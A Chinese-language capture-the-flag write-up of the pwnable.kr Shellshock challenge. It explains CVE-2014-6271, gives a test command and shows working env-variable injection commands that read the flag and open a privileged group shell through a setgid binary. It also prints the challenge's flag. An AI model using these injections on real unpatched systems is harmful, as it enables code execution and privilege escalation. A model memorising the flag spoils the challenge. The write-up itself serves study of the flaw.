Keep Calm and Carry On

pwnable-kr-shellshock

oxo1 分析

shellshock是2014发现的bash软件的漏洞,利用这个漏洞可以实现任意代码的执行。Shellshock的原理是利用了Bash在导入环境变量函数时候的漏洞,启动Bash的时候,它不但会导入这个函数,而且也会把函数定义后面的命令执行。在有些CGI脚本的设计中,数据是通过环境变量来传递的,这样就给了数据提供者利用Shellshock漏洞的机会。

漏洞验证命令:

1
env x='() { :;}; echo vulnerable' bash -c "echo this is a test "

在版本号小于bash4.3的系统上执行可能会得到以下的结果:(echo vulnerable被执行)

1
Vulnerable this is a test

0x02 利用

1. 方法一:

利用这个漏洞实现的任意代码执行,可以让bash执行/bin/cat ~/flag,也就是在执行程序的时候设置环境变量,但是由于漏洞的存在通过这种方式导入的命令会被执行,如下:

1
2
3
shellshock@prowl:~$ env x='() { :;}; /bin/cat ~/flag' ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!
Segmentation fault (core dumped)

2. 方法二:提升权限

  1. 查看当前用户、所属组,文件执行、查看的权限:
1
2
3
4
5
6
7
8
shellshock@prowl:~$ id
uid=1019(shellshock) gid=1019(shellshock) groups=1019(shellshock)
shellshock@prowl:~$ ls -l
total 960
-r-xr-xr-x 1 root shellshock 959120 Oct 12 2014 bash
-r--r----- 1 root shellshock_pwn 47 Oct 12 2014 flag
-r-xr-sr-x 1 root shellshock_pwn 8547 Oct 12 2014 shellshock
-r--r--r-- 1 root root 188 Oct 12 2014 shellshock.c
  • 当前用户是shellshock,所属组是shellshock;
  • 程序shellshock属于用户root,属于组shellshock_pwn,s标志在组,因此其他用户在执行这个程序的时候或获得shellshock_pwn组的支持(这个组的权限);
  • flag文件属于用户root,属于组shellshock_pwn,而其他用户(包括当前用户shellshock)并没有读这个文件的权限;
  1. 查看shellshock.c
1
2
3
4
5
6
7
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}
  • 程序首先设置真实用户(组)、有效用户(组)、保存用户(组)的id;
  • 当s标志在用户则有效用户就等于文件所有者的UID、而不是真实用户UID;当s标志在组,则有效用户组id就等于文件所属组的id而不是真实用户组的id;
  • 现在s表示组上,表示有效用户组是文件所属组,也就是shellshock_pwn,因此getegid()返回的是有效用户也就是shellshock_pwn的id;
  • setresgid()则将真实用户(组)、有效用户(组)、保存用户(组)的id都设为shellshock_pwn的id;
  • 有读flag的权限了;
1
2
3
4
5
6
7
shellshock@prowl:~$ id
uid=1019(shellshock) gid=1019(shellshock) groups=1019(shellshock)
shellshock@prowl:~$ env x='() { :;}; bash' ./shellshock
shellshock@prowl:~$ id
uid=1019(shellshock) gid=1020(shellshock_pwn) groups=1020(shellshock_pwn),1019(shellshock)
shellshock@prowl:~$ cat flag
only if I knew CVE-2014-6271 ten years ago..!!